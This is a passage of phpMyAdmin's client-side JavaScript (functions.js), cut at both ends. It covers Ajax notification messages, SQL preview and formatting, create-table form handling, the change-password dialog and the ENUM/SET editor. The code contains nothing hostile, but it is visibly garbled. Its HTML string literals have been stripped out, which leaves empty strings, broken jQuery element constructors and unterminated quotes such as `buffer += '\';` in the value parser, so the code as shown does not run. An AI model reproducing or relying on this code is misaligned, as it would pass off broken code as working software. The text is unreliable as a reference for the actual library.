        '); CodeMirror.runMode(rawValue, mode, $highlighted[0]); $notHighlighted.hide(); $code.html('').append($notHighlighted, $highlighted[0]); } else { $code.html('').append($notHighlighted); } return true; }; /** * Show a message on the top of the page for an Ajax request * * Sample usage: * * 1) var $msg = Functions.ajaxShowMessage(); * This will show a message that reads "Loading...". Such a message will not * disappear automatically and cannot be dismissed by the user. To remove this * message either the Functions.ajaxRemoveMessage($msg) function must be called or * another message must be show with Functions.ajaxShowMessage() function. * * 2) var $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest); * This is a special case. The behaviour is same as above, * just with a different message * * 3) var $msg = Functions.ajaxShowMessage('The operation was successful'); * This will show a message that will disappear automatically and it can also * be dismissed by the user. * * 4) var $msg = Functions.ajaxShowMessage('Some error', false); * This will show a message that will not disappear automatically, but it * can be dismissed by the user after they have finished reading it. * * @param {string} message string containing the message to be shown. * optional, defaults to 'Loading...' * @param {any} timeout number of milliseconds for the message to be visible * optional, defaults to 5000. If set to 'false', the * notification will never disappear * @param {string} type string to dictate the type of message shown. * optional, defaults to normal notification. * If set to 'error', the notification will show message * with red background. * If set to 'success', the notification will show with * a green background. * @return {JQuery} jQuery Element that holds the message div * this object can be passed to Functions.ajaxRemoveMessage() * to remove the notification */ Functions.ajaxShowMessage = function (message, timeout, type) { var msg = message; var newTimeOut = timeout; /** * @var self_closing Whether the notification will automatically disappear */ var selfClosing = true; /** * @var dismissable Whether the user will be able to remove * the notification by clicking on it */ var dismissable = true; // Handle the case when a empty data.message is passed. // We don't want the empty message if (msg === '') { return true; } else if (! msg) { // If the message is undefined, show the default msg = Messages.strLoading; dismissable = false; selfClosing = false; } else if (msg === Messages.strProcessingRequest) { // This is another case where the message should not disappear dismissable = false; selfClosing = false; } // Figure out whether (or after how long) to remove the notification if (newTimeOut === undefined || newTimeOut === null) { newTimeOut = 5000; } else if (newTimeOut === false) { selfClosing = false; } // Determine type of message, add styling as required if (type === 'error') { msg = ''; } else if (type === 'success') { msg = ''; } // Create a parent element for the AJAX messages, if necessary if ($('#loading_parent').length === 0) { $('
        ') .prependTo('#page_content'); } // Update message count to create distinct message elements every time ajaxMessageCount++; // Remove all old messages, if any $('span.ajax_notification[id^=ajax_message_num]').remove(); /** * @var $retval a jQuery object containing the reference * to the created AJAX message */ var $retval = $( '' ) .hide() .appendTo('#loading_parent') .html(msg) .show(); // If the notification is self-closing we should create a callback to remove it if (selfClosing) { $retval .delay(newTimeOut) .fadeOut('medium', function () { if ($(this).is(':data(tooltip)')) { $(this).uiTooltip('destroy'); } // Remove the notification $(this).remove(); }); } // If the notification is dismissable we need to add the relevant class to it // and add a tooltip so that the users know that it can be removed if (dismissable) { $retval.addClass('dismissable').css('cursor', 'pointer'); /** * Add a tooltip to the notification to let the user know that they * can dismiss the ajax notification by clicking on it. */ Functions.tooltip( $retval, 'span', Messages.strDismiss ); } // Hide spinner if this is not a loading message if (msg !== Messages.strLoading) { $retval.css('background-image', 'none'); } Functions.highlightSql($retval); return $retval; }; /** * Removes the message shown for an Ajax operation when it's completed * * @param {JQuery} $thisMessageBox Element that holds the notification * * @return {void} */ Functions.ajaxRemoveMessage = function ($thisMessageBox) { if ($thisMessageBox !== undefined && $thisMessageBox instanceof jQuery) { $thisMessageBox .stop(true, true) .fadeOut('medium'); if ($thisMessageBox.is(':data(tooltip)')) { $thisMessageBox.uiTooltip('destroy'); } else { $thisMessageBox.remove(); } } }; /** * Requests SQL for previewing before executing. * * @param {JQuery} $form Form containing query data * * @return {void} */ Functions.previewSql = function ($form) { var formUrl = $form.attr('action'); var sep = CommonParams.get('arg_separator'); var formData = $form.serialize() + sep + 'do_save_data=1' + sep + 'preview_sql=1' + sep + 'ajax_request=1'; var $messageBox = Functions.ajaxShowMessage(); $.ajax({ type: 'POST', url: formUrl, data: formData, success: function (response) { Functions.ajaxRemoveMessage($messageBox); if (response.success) { $('#previewSqlModal').modal('show'); $('#previewSqlModal').find('.modal-body').first().html(response.sql_data); $('#previewSqlModalLabel').first().html(Messages.strPreviewSQL); $('#previewSqlModal').on('shown.bs.modal', function () { Functions.highlightSql($('#previewSqlModal')); }); } else { Functions.ajaxShowMessage(response.message); } }, error: function () { Functions.ajaxShowMessage(Messages.strErrorProcessingRequest); } }); }; /** * Callback called when submit/"OK" is clicked on sql preview/confirm modal * * @callback onSubmitCallback * @param {string} url The url */ /** * * @param {string} sqlData Sql query to preview * @param {string} url Url to be sent to callback * @param {onSubmitCallback} callback On submit callback function * * @return {void} */ Functions.confirmPreviewSql = function (sqlData, url, callback) { $('#previewSqlConfirmModal').modal('show'); $('#previewSqlConfirmModalLabel').first().html(Messages.strPreviewSQL); $('#previewSqlConfirmCode').first().text(sqlData); $('#previewSqlConfirmModal').on('shown.bs.modal', function () { Functions.highlightSql($('#previewSqlConfirmModal')); }); $('#previewSQLConfirmOkButton').on('click', function () { callback(url); $('#previewSqlConfirmModal').modal('hide'); }); }; /** * check for reserved keyword column name * * @param {JQuery} $form Form * * @return {boolean} */ Functions.checkReservedWordColumns = function ($form) { var isConfirmed = true; $.ajax({ type: 'POST', url: 'index.php?route=/table/structure/reserved-word-check', data: $form.serialize(), success: function (data) { if (typeof data.success !== 'undefined' && data.success === true) { isConfirmed = confirm(data.message); } }, async:false }); return isConfirmed; }; // This event only need to be fired once after the initial page load $(function () { /** * Allows the user to dismiss a notification * created with Functions.ajaxShowMessage() */ var holdStarter = null; $(document).on('mousedown', 'span.ajax_notification.dismissable', function () { holdStarter = setTimeout(function () { holdStarter = null; }, 250); }); $(document).on('mouseup', 'span.ajax_notification.dismissable', function (event) { if (holdStarter && event.which === 1) { clearTimeout(holdStarter); Functions.ajaxRemoveMessage($(this)); } }); /** * The below two functions hide the "Dismiss notification" tooltip when a user * is hovering a link or button that is inside an ajax message */ $(document).on('mouseover', 'span.ajax_notification a, span.ajax_notification button, span.ajax_notification input', function () { if ($(this).parents('span.ajax_notification').is(':data(tooltip)')) { $(this).parents('span.ajax_notification').uiTooltip('disable'); } }); $(document).on('mouseout', 'span.ajax_notification a, span.ajax_notification button, span.ajax_notification input', function () { if ($(this).parents('span.ajax_notification').is(':data(tooltip)')) { $(this).parents('span.ajax_notification').uiTooltip('enable'); } }); /** * Copy text to clipboard * * @param {string | number | string[]} text to copy to clipboard * * @return {boolean} */ Functions.copyToClipboard = function (text) { var $temp = $(''); $temp.css({ 'position': 'fixed', 'width': '2em', 'border': 0, 'top': 0, 'left': 0, 'padding': 0, 'background': 'transparent' }); $('body').append($temp); $temp.val(text).trigger('select'); try { var res = document.execCommand('copy'); $temp.remove(); return res; } catch (e) { $temp.remove(); return false; } }; $(document).on('click', 'a.copyQueryBtn', function (event) { event.preventDefault(); var res = Functions.copyToClipboard($(this).attr('data-text')); if (res) { $(this).after(' (' + Messages.strCopyQueryButtonSuccess + ')'); } else { $(this).after(' (' + Messages.strCopyQueryButtonFailure + ')'); } setTimeout(function () { $('#copyStatus').remove(); }, 2000); }); }); /** * Hides/shows the "Open in ENUM/SET editor" message, depending on the data type of the column currently selected * * @param selectElement */ Functions.showNoticeForEnum = function (selectElement) { var enumNoticeId = selectElement.attr('id').split('_')[1]; enumNoticeId += '_' + (parseInt(selectElement.attr('id').split('_')[2], 10) + 1); var selectedType = selectElement.val(); if (selectedType === 'ENUM' || selectedType === 'SET') { $('p#enum_notice_' + enumNoticeId).show(); } else { $('p#enum_notice_' + enumNoticeId).hide(); } }; /** * Hides/shows a warning message when LENGTH is used with inappropriate integer type */ Functions.showWarningForIntTypes = function () { if ($('div#length_not_allowed').length) { var lengthRestrictions = $('select.column_type option').map(function () { return $(this).filter(':selected').attr('data-length-restricted'); }).get(); var restricationFound = lengthRestrictions.some(restriction => Number(restriction) === 1); if (restricationFound) { $('div#length_not_allowed').show(); } else { $('div#length_not_allowed').hide(); } } }; /** * Creates a Profiling Chart. Used in sql.js * and in server/status/monitor.js * * @param target * @param data * * @return {object} */ Functions.createProfilingChart = function (target, data) { // create the chart var factory = new JQPlotChartFactory(); var chart = factory.createChart(ChartType.PIE, target); // create the data table and add columns var dataTable = new DataTable(); dataTable.addColumn(ColumnType.STRING, ''); dataTable.addColumn(ColumnType.NUMBER, ''); dataTable.setData(data); var windowWidth = $(window).width(); var location = 's'; if (windowWidth > 768) { location = 'se'; } // draw the chart and return the chart object chart.draw(dataTable, { seriesDefaults: { rendererOptions: { showDataLabels: true } }, highlighter: { tooltipLocation: 'se', sizeAdjust: 0, tooltipAxes: 'pieref', formatString: '%s, %.9Ps' }, legend: { show: true, location: location, rendererOptions: { numberColumns: 2 } }, // from https://web.archive.org/web/20190321233412/http://tango.freedesktop.org/Tango_Icon_Theme_Guidelines seriesColors: [ '#fce94f', '#fcaf3e', '#e9b96e', '#8ae234', '#729fcf', '#ad7fa8', '#ef2929', '#888a85', '#c4a000', '#ce5c00', '#8f5902', '#4e9a06', '#204a87', '#5c3566', '#a40000', '#babdb6', '#2e3436' ] }); return chart; }; /** * Formats a profiling duration nicely (in us and ms time). * Used in server/status/monitor.js * * @param {number} number Number to be formatted, should be in the range of microsecond to second * @param {number} accuracy Accuracy, how many numbers right to the comma should be * @return {string} The formatted number */ Functions.prettyProfilingNum = function (number, accuracy) { var num = number; var acc = accuracy; if (!acc) { acc = 2; } acc = Math.pow(10, acc); if (num * 1000 < 0.1) { num = Math.round(acc * (num * 1000 * 1000)) / acc + 'µ'; } else if (num < 0.1) { num = Math.round(acc * (num * 1000)) / acc + 'm'; } else { num = Math.round(acc * num) / acc; } return num + 's'; }; /** * Formats a SQL Query nicely with newlines and indentation. Depends on Codemirror and MySQL Mode! * * @param {string} string Query to be formatted * @return {string} The formatted query */ Functions.sqlPrettyPrint = function (string) { if (typeof CodeMirror === 'undefined') { return string; } var mode = CodeMirror.getMode({}, 'text/x-mysql'); var stream = new CodeMirror.StringStream(string); var state = mode.startState(); var token; var tokens = []; var output = ''; var tabs = function (cnt) { var ret = ''; for (var i = 0; i < 4 * cnt; i++) { ret += ' '; } return ret; }; // "root-level" statements var statements = { 'select': ['select', 'from', 'on', 'where', 'having', 'limit', 'order by', 'group by'], 'update': ['update', 'set', 'where'], 'insert into': ['insert into', 'values'] }; // don't put spaces before these tokens var spaceExceptionsBefore = { ';': true, ',': true, '.': true, '(': true }; // don't put spaces after these tokens var spaceExceptionsAfter = { '.': true }; // Populate tokens array while (! stream.eol()) { stream.start = stream.pos; token = mode.token(stream, state); if (token !== null) { tokens.push([token, stream.current().toLowerCase()]); } } var currentStatement = tokens[0][1]; if (! statements[currentStatement]) { return string; } // Holds all currently opened code blocks (statement, function or generic) var blockStack = []; // If a new code block is found, newBlock contains its type for one iteration and vice versa for endBlock var newBlock; var endBlock; // How much to indent in the current line var indentLevel = 0; // Holds the "root-level" statements var statementPart; var lastStatementPart = statements[currentStatement][0]; blockStack.unshift('statement'); // Iterate through every token and format accordingly for (var i = 0; i < tokens.length; i++) { // New block => push to stack if (tokens[i][1] === '(') { if (i < tokens.length - 1 && tokens[i + 1][0] === 'statement-verb') { blockStack.unshift(newBlock = 'statement'); } else if (i > 0 && tokens[i - 1][0] === 'builtin') { blockStack.unshift(newBlock = 'function'); } else { blockStack.unshift(newBlock = 'generic'); } } else { newBlock = null; } // Block end => pop from stack if (tokens[i][1] === ')') { endBlock = blockStack[0]; blockStack.shift(); } else { endBlock = null; } // A subquery is starting if (i > 0 && newBlock === 'statement') { indentLevel++; output += '\n' + tabs(indentLevel) + tokens[i][1] + ' ' + tokens[i + 1][1].toUpperCase() + '\n' + tabs(indentLevel + 1); currentStatement = tokens[i + 1][1]; i++; continue; } // A subquery is ending if (endBlock === 'statement' && indentLevel > 0) { output += '\n' + tabs(indentLevel); indentLevel--; } // One less indentation for statement parts (from, where, order by, etc.) and a newline statementPart = statements[currentStatement].indexOf(tokens[i][1]); if (statementPart !== -1) { if (i > 0) { output += '\n'; } output += tabs(indentLevel) + tokens[i][1].toUpperCase(); output += '\n' + tabs(indentLevel + 1); lastStatementPart = tokens[i][1]; // Normal indentation and spaces for everything else } else { if (! spaceExceptionsBefore[tokens[i][1]] && ! (i > 0 && spaceExceptionsAfter[tokens[i - 1][1]]) && output.charAt(output.length - 1) !== ' ') { output += ' '; } if (tokens[i][0] === 'keyword') { output += tokens[i][1].toUpperCase(); } else { output += tokens[i][1]; } } // split columns in select and 'update set' clauses, but only inside statements blocks if ((lastStatementPart === 'select' || lastStatementPart === 'where' || lastStatementPart === 'set') && tokens[i][1] === ',' && blockStack[0] === 'statement') { output += '\n' + tabs(indentLevel + 1); } // split conditions in where clauses, but only inside statements blocks if (lastStatementPart === 'where' && (tokens[i][1] === 'and' || tokens[i][1] === 'or' || tokens[i][1] === 'xor')) { if (blockStack[0] === 'statement') { output += '\n' + tabs(indentLevel + 1); } // Todo: Also split and or blocks in newlines & indentation++ // if (blockStack[0] === 'generic') // output += ... } } return output; }; /** * jQuery function that uses jQueryUI's dialogs to confirm with user. Does not * return a jQuery object yet and hence cannot be chained * * @param {string} question * @param {string} url URL to be passed to the callbackFn to make * an Ajax call to * @param {Function} callbackFn callback to execute after user clicks on OK * @param {Function} openCallback optional callback to run when dialog is shown * * @return {bool} */ Functions.confirm = function (question, url, callbackFn, openCallback) { var confirmState = CommonParams.get('confirm'); if (! confirmState) { // user does not want to confirm if (typeof callbackFn === 'function') { callbackFn.call(this, url); return true; } } if (Messages.strDoYouReally === '') { return true; } /** * @var button_options Object that stores the options passed to jQueryUI * dialog */ var buttonOptions = [ { text: Messages.strOK, 'class': 'btn btn-primary submitOK', click: function () { $(this).dialog('close'); if (typeof callbackFn === 'function') { callbackFn.call(this, url); } } }, { text: Messages.strCancel, 'class': 'btn btn-secondary submitCancel', click: function () { $(this).dialog('close'); } } ]; $('
        ', { 'id': 'confirm_dialog', 'title': Messages.strConfirm }) .prepend(question) .dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, buttons: buttonOptions, close: function () { $(this).remove(); }, open: openCallback, modal: true }); }; jQuery.fn.confirm = Functions.confirm; /** * jQuery function to sort a table's body after a new row has been appended to it. * * @param {string} textSelector string to select the sortKey's text * * @return {JQuery} for chaining purposes */ Functions.sortTable = function (textSelector) { return this.each(function () { /** * @var table_body Object referring to the table's element */ var tableBody = $(this); /** * @var rows Object referring to the collection of rows in {@link tableBody} */ var rows = $(this).find('tr').get(); // get the text of the field that we will sort by $.each(rows, function (index, row) { row.sortKey = $(row).find(textSelector).text().toLowerCase().trim(); }); // get the sorted order rows.sort(function (a, b) { if (a.sortKey < b.sortKey) { return -1; } if (a.sortKey > b.sortKey) { return 1; } return 0; }); // pull out each row from the table and then append it according to it's order $.each(rows, function (index, row) { $(tableBody).append(row); row.sortKey = null; }); }); }; jQuery.fn.sortTable = Functions.sortTable; /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('functions.js', function () { $(document).off('submit', 'form.create_table_form.ajax'); $(document).off('click', 'form.create_table_form.ajax input[name=submit_num_fields]'); $(document).off('keyup', 'form.create_table_form.ajax input'); $(document).off('change', 'input[name=partition_count],input[name=subpartition_count],select[name=partition_by]'); }); /** * jQuery coding for 'Create Table'. Used on /database/operations, * /database/structure and /database/tracking (i.e., wherever * PhpMyAdmin\Display\CreateTable is used) * * Attach Ajax Event handlers for Create Table */ AJAX.registerOnload('functions.js', function () { /** * Attach event handler for submission of create table form (save) */ $(document).on('submit', 'form.create_table_form.ajax', function (event) { event.preventDefault(); /** * @var the_form object referring to the create table form */ var $form = $(this); /* * First validate the form; if there is a problem, avoid submitting it * * Functions.checkTableEditForm() needs a pure element and not a jQuery object, * this is why we pass $form[0] as a parameter (the jQuery object * is actually an array of DOM elements) */ if (Functions.checkTableEditForm($form[0], $form.find('input[name=orig_num_fields]').val())) { Functions.prepareForAjaxRequest($form); if (Functions.checkReservedWordColumns($form)) { Functions.ajaxShowMessage(Messages.strProcessingRequest); // User wants to submit the form $.post($form.attr('action'), $form.serialize() + CommonParams.get('arg_separator') + 'do_save_data=1', function (data) { if (typeof data !== 'undefined' && data.success === true) { $('#properties_message') .removeClass('alert-danger') .html(''); Functions.ajaxShowMessage(data.message); // Only if the create table dialog (distinct panel) exists var $createTableDialog = $('#create_table_dialog'); if ($createTableDialog.length > 0) { $createTableDialog.dialog('close').remove(); } $('#tableslistcontainer').before(data.formatted_sql); /** * @var tables_table Object referring to the element that holds the list of tables */ var tablesTable = $('#tablesForm').find('tbody').not('#tbl_summary_row'); // this is the first table created in this db if (tablesTable.length === 0) { CommonActions.refreshMain( CommonParams.get('opendb_url') ); } else { /** * @var curr_last_row Object referring to the last element in {@link tablesTable} */ var currLastRow = $(tablesTable).find('tr').last(); /** * @var curr_last_row_index_string String containing the index of {@link currLastRow} */ var currLastRowIndexString = $(currLastRow).find('input:checkbox').attr('id').match(/\d+/)[0]; /** * @var curr_last_row_index Index of {@link currLastRow} */ var currLastRowIndex = parseFloat(currLastRowIndexString); /** * @var new_last_row_index Index of the new row to be appended to {@link tablesTable} */ var newLastRowIndex = currLastRowIndex + 1; /** * @var new_last_row_id String containing the id of the row to be appended to {@link tablesTable} */ var newLastRowId = 'checkbox_tbl_' + newLastRowIndex; data.newTableString = data.newTableString.replace(/checkbox_tbl_/, newLastRowId); // append to table $(data.newTableString) .appendTo(tablesTable); // Sort the table $(tablesTable).sortTable('th'); // Adjust summary row DatabaseStructure.adjustTotals(); } // Refresh navigation as a new table has been added Navigation.reload(); // Redirect to table structure page on creation of new table var argsep = CommonParams.get('arg_separator'); var params12 = 'ajax_request=true' + argsep + 'ajax_page_request=true'; var tableStructureUrl = 'index.php?route=/table/structure' + argsep + 'server=' + data.params.server + argsep + 'db=' + data.params.db + argsep + 'token=' + data.params.token + argsep + 'goto=' + encodeURIComponent('index.php?route=/database/structure') + argsep + 'table=' + data.params.table + ''; $.get(tableStructureUrl, params12, AJAX.responseHandler); } else { Functions.ajaxShowMessage( '', false ); } }); // end $.post() } } }); // end create table form (save) /** * Submits the intermediate changes in the table creation form * to refresh the UI accordingly * * @param actionParam */ function submitChangesInCreateTableForm (actionParam) { /** * @var the_form object referring to the create table form */ var $form = $('form.create_table_form.ajax'); var $msgbox = Functions.ajaxShowMessage(Messages.strProcessingRequest); Functions.prepareForAjaxRequest($form); // User wants to add more fields to the table $.post($form.attr('action'), $form.serialize() + '&' + actionParam, function (data) { if (typeof data !== 'undefined' && data.success) { var $pageContent = $('#page_content'); $pageContent.html(data.message); Functions.highlightSql($pageContent); Functions.verifyColumnsProperties(); Functions.hideShowConnection($('.create_table_form select[name=tbl_storage_engine]')); Functions.ajaxRemoveMessage($msgbox); } else { Functions.ajaxShowMessage(data.error); } }); // end $.post() } /** * Attach event handler for create table form (add fields) */ $(document).on('click', 'form.create_table_form.ajax input[name=submit_num_fields]', function (event) { event.preventDefault(); submitChangesInCreateTableForm('submit_num_fields=1'); }); // end create table form (add fields) $(document).on('keydown', 'form.create_table_form.ajax input[name=added_fields]', function (event) { if (event.keyCode === 13) { event.preventDefault(); event.stopImmediatePropagation(); $(this) .closest('form') .find('input[name=submit_num_fields]') .trigger('click'); } }); /** * Attach event handler to manage changes in number of partitions and subpartitions */ $(document).on('change', 'input[name=partition_count],input[name=subpartition_count],select[name=partition_by]', function () { var $this = $(this); var $form = $this.parents('form'); if ($form.is('.create_table_form.ajax')) { submitChangesInCreateTableForm('submit_partition_change=1'); } else { $form.trigger('submit'); } }); $(document).on('change', 'input[value=AUTO_INCREMENT]', function () { if (this.checked) { var col = /\d/.exec($(this).attr('name')); col = col[0]; var $selectFieldKey = $('select[name="field_key[' + col + ']"]'); if ($selectFieldKey.val() === 'none_' + col) { $selectFieldKey.val('primary_' + col).trigger('change', [false]); } } }); $('body') .off('click', 'input.preview_sql') .on('click', 'input.preview_sql', function () { var $form = $(this).closest('form'); Functions.previewSql($form); }); }); /** * Validates the password field in a form * * @see Messages.strPasswordEmpty * @see Messages.strPasswordNotSame * @param {object} $theForm The form to be validated * @return {boolean} */ Functions.checkPassword = function ($theForm) { // Did the user select 'no password'? if ($theForm.find('#nopass_1').is(':checked')) { return true; } else { var $pred = $theForm.find('#select_pred_password'); if ($pred.length && ($pred.val() === 'none' || $pred.val() === 'keep')) { return true; } } var $password = $theForm.find('input[name=pma_pw]'); var $passwordRepeat = $theForm.find('input[name=pma_pw2]'); var alertMessage = false; if ($password.val() === '') { alertMessage = Messages.strPasswordEmpty; } else if ($password.val() !== $passwordRepeat.val()) { alertMessage = Messages.strPasswordNotSame; } if (alertMessage) { alert(alertMessage); $password.val(''); $passwordRepeat.val(''); $password.trigger('focus'); return false; } return true; }; /** * Attach Ajax event handlers for 'Change Password' on index.php */ AJAX.registerOnload('functions.js', function () { /* Handler for hostname type */ $(document).on('change', '#select_pred_hostname', function () { var hostname = $('#pma_hostname'); if (this.value === 'any') { hostname.val('%'); } else if (this.value === 'localhost') { hostname.val('localhost'); } else if (this.value === 'thishost' && $(this).data('thishost')) { hostname.val($(this).data('thishost')); } else if (this.value === 'hosttable') { hostname.val('').prop('required', false); } else if (this.value === 'userdefined') { hostname.trigger('focus').select().prop('required', true); } }); /* Handler for editing hostname */ $(document).on('change', '#pma_hostname', function () { $('#select_pred_hostname').val('userdefined'); $('#pma_hostname').prop('required', true); }); /* Handler for username type */ $(document).on('change', '#select_pred_username', function () { if (this.value === 'any') { $('#pma_username').val('').prop('required', false); $('#user_exists_warning').css('display', 'none'); } else if (this.value === 'userdefined') { $('#pma_username').trigger('focus').trigger('select').prop('required', true); } }); /* Handler for editing username */ $(document).on('change', '#pma_username', function () { $('#select_pred_username').val('userdefined'); $('#pma_username').prop('required', true); }); /* Handler for password type */ $(document).on('change', '#select_pred_password', function () { if (this.value === 'none') { $('#text_pma_pw2').prop('required', false).val(''); $('#text_pma_pw').prop('required', false).val(''); } else if (this.value === 'userdefined') { $('#text_pma_pw2').prop('required', true); $('#text_pma_pw').prop('required', true).trigger('focus').trigger('select'); } else { $('#text_pma_pw2').prop('required', false); $('#text_pma_pw').prop('required', false); } }); /* Handler for editing password */ $(document).on('change', '#text_pma_pw,#text_pma_pw2', function () { $('#select_pred_password').val('userdefined'); $('#text_pma_pw2').prop('required', true); $('#text_pma_pw').prop('required', true); }); /** * Unbind all event handlers before tearing down a page */ $(document).off('click', '#change_password_anchor.ajax'); /** * Attach Ajax event handler on the change password anchor */ $(document).on('click', '#change_password_anchor.ajax', function (event) { event.preventDefault(); var $msgbox = Functions.ajaxShowMessage(); /** * @var buttonOptions Object containing options to be passed to jQueryUI's dialog */ var buttonOptions = { [Messages.strGo]: { text: Messages.strGo, 'class': 'btn btn-primary', }, [Messages.strCancel]: { text: Messages.strCancel, 'class': 'btn btn-secondary', }, }; buttonOptions[Messages.strGo].click = function () { event.preventDefault(); /** * @var $the_form Object referring to the change password form */ var $theForm = $('#change_password_form'); if (! Functions.checkPassword($theForm)) { return false; } /** * @var {string} thisValue String containing the value of the submit button. * Need to append this for the change password form on Server Privileges * page to work */ var thisValue = $(this).val(); var $msgbox = Functions.ajaxShowMessage(Messages.strProcessingRequest); $theForm.append(''); $.post($theForm.attr('action'), $theForm.serialize() + CommonParams.get('arg_separator') + 'change_pw=' + thisValue, function (data) { if (typeof data === 'undefined' || data.success !== true) { Functions.ajaxShowMessage(data.error, false); return; } var $pageContent = $('#page_content'); $pageContent.prepend(data.message); Functions.highlightSql($pageContent); $('#change_password_dialog').hide().remove(); $('#edit_user_dialog').dialog('close').remove(); Functions.ajaxRemoveMessage($msgbox); }); // end $.post() }; buttonOptions[Messages.strCancel].click = function () { $(this).dialog('close'); }; $.get($(this).attr('href'), { 'ajax_request': true }, function (data) { if (typeof data === 'undefined' || !data.success) { Functions.ajaxShowMessage(data.error, false); return; } if (data.scripts) { AJAX.scriptHandler.load(data.scripts); } $('
        ') .dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, title: Messages.strChangePassword, width: 600, close: function () { $(this).remove(); }, buttons: buttonOptions, modal: true }) .append(data.message); // for this dialog, we remove the fieldset wrapping due to double headings $('fieldset#fieldset_change_password') .find('legend').remove().end() .find('table.table').unwrap().addClass('m-3') .find('input#text_pma_pw').trigger('focus'); $('#fieldset_change_password_footer').hide(); Functions.ajaxRemoveMessage($msgbox); Functions.displayPasswordGenerateButton(); $('#change_password_form').on('submit', function (e) { e.preventDefault(); $(this) .closest('.ui-dialog') .find('.ui-dialog-buttonpane .ui-button') .first() .trigger('click'); }); }); // end $.get() }); // end handler for change password anchor }); // end $() for Change Password /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('functions.js', function () { $(document).off('change', 'select.column_type'); $(document).off('change', 'select.default_type'); $(document).off('change', 'select.virtuality'); $(document).off('change', 'input.allow_null'); $(document).off('change', '.create_table_form select[name=tbl_storage_engine]'); }); /** * Toggle the hiding/showing of the "Open in ENUM/SET editor" message when * the page loads and when the selected data type changes */ AJAX.registerOnload('functions.js', function () { // is called here for normal page loads and also when opening // the Create table dialog Functions.verifyColumnsProperties(); // // needs on() to work also in the Create Table dialog $(document).on('change', 'select.column_type', function () { Functions.showNoticeForEnum($(this)); Functions.showWarningForIntTypes(); }); $(document).on('change', 'select.default_type', function () { Functions.hideShowDefaultValue($(this)); }); $(document).on('change', 'select.virtuality', function () { Functions.hideShowExpression($(this)); }); $(document).on('change', 'input.allow_null', function () { Functions.validateDefaultValue($(this)); }); $(document).on('change', '.create_table_form select[name=tbl_storage_engine]', function () { Functions.hideShowConnection($(this)); }); }); /** * If the chosen storage engine is FEDERATED show connection field. Hide otherwise * * @param $engineSelector storage engine selector */ Functions.hideShowConnection = function ($engineSelector) { var $connection = $('.create_table_form input[name=connection]'); var $labelTh = $('.create_table_form #storage-engine-connection'); if ($engineSelector.val() !== 'FEDERATED') { $connection .prop('disabled', true) .parent('td').hide(); $labelTh.hide(); } else { $connection .prop('disabled', false) .parent('td').show(); $labelTh.show(); } }; /** * If the column does not allow NULL values, makes sure that default is not NULL * * @param $nullCheckbox */ Functions.validateDefaultValue = function ($nullCheckbox) { if (! $nullCheckbox.prop('checked')) { var $default = $nullCheckbox.closest('tr').find('.default_type'); if ($default.val() === 'NULL') { $default.val('NONE'); } } }; /** * function to populate the input fields on picking a column from central list * * @param {string} inputId input id of the name field for the column to be populated * @param {number} offset of the selected column in central list of columns */ Functions.autoPopulate = function (inputId, offset) { var db = CommonParams.get('db'); var table = CommonParams.get('table'); var newInputId = inputId.substring(0, inputId.length - 1); $('#' + newInputId + '1').val(centralColumnList[db + '_' + table][offset].col_name); var colType = centralColumnList[db + '_' + table][offset].col_type.toUpperCase(); $('#' + newInputId + '2').val(colType); var $input3 = $('#' + newInputId + '3'); $input3.val(centralColumnList[db + '_' + table][offset].col_length); if (colType === 'ENUM' || colType === 'SET') { $input3.next().show(); } else { $input3.next().hide(); } var colDefault = centralColumnList[db + '_' + table][offset].col_default.toUpperCase(); var $input4 = $('#' + newInputId + '4'); if (colDefault === 'NULL' || colDefault === 'CURRENT_TIMESTAMP' || colDefault === 'CURRENT_TIMESTAMP()') { if (colDefault === 'CURRENT_TIMESTAMP()') { colDefault = 'CURRENT_TIMESTAMP'; } $input4.val(colDefault); $input4.siblings('.default_value').hide(); } if (colDefault === '') { $input4.val('NONE'); $input4.siblings('.default_value').hide(); } else { $input4.val('USER_DEFINED'); $input4.siblings('.default_value').show(); $input4.siblings('.default_value').val(centralColumnList[db + '_' + table][offset].col_default); } $('#' + newInputId + '5').val(centralColumnList[db + '_' + table][offset].col_collation); var $input6 = $('#' + newInputId + '6'); $input6.val(centralColumnList[db + '_' + table][offset].col_attribute); if (centralColumnList[db + '_' + table][offset].col_extra === 'on update CURRENT_TIMESTAMP') { $input6.val(centralColumnList[db + '_' + table][offset].col_extra); } if (centralColumnList[db + '_' + table][offset].col_extra.toUpperCase() === 'AUTO_INCREMENT') { $('#' + newInputId + '9').prop('checked',true).trigger('change'); } else { $('#' + newInputId + '9').prop('checked',false); } if (centralColumnList[db + '_' + table][offset].col_isNull !== '0') { $('#' + newInputId + '7').prop('checked',true); } else { $('#' + newInputId + '7').prop('checked',false); } }; /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('functions.js', function () { $(document).off('click', 'a.open_enum_editor'); $(document).off('click', 'input.add_value'); $(document).off('click', '#enum_editor td.drop'); $(document).off('click', 'a.central_columns_dialog'); }); /** * Opens the ENUM/SET editor and controls its functions */ AJAX.registerOnload('functions.js', function () { $(document).on('click', 'a.open_enum_editor', function () { // Get the name of the column that is being edited var colname = $(this).closest('tr').find('input').first().val(); var title; var i; // And use it to make up a title for the page if (colname.length < 1) { title = Messages.enum_newColumnVals; } else { title = Messages.enum_columnVals.replace( /%s/, '"' + Functions.escapeHtml(decodeURIComponent(colname)) + '"' ); } // Get the values as a string var inputstring = $(this) .closest('td') .find('input') .val(); // Escape html entities inputstring = $('
        ') .text(inputstring) .html(); // Parse the values, escaping quotes and // slashes on the fly, into an array var values = []; var inString = false; var curr; var next; var buffer = ''; for (i = 0; i < inputstring.length; i++) { curr = inputstring.charAt(i); next = i === inputstring.length ? '' : inputstring.charAt(i + 1); if (! inString && curr === '\'') { inString = true; } else if (inString && curr === '\\' && next === '\\') { buffer += '\'; i++; } else if (inString && next === '\'' && (curr === '\'' || curr === '\\')) { buffer += '''; i++; } else if (inString && curr === '\'') { inString = false; values.push(buffer); buffer = ''; } else if (inString) { buffer += curr; } } if (buffer.length > 0) { // The leftovers in the buffer are the last value (if any) values.push(buffer); } var fields = ''; // If there are no values, maybe the user is about to make a // new list so we add a few for them to get started with. if (values.length === 0) { values.push('', '', '', ''); } // Add the parsed values to the editor var dropIcon = Functions.getImage('b_drop'); for (i = 0; i < values.length; i++) { fields += '' + '' + '' + dropIcon + ''; } /** * @var dialog HTML code for 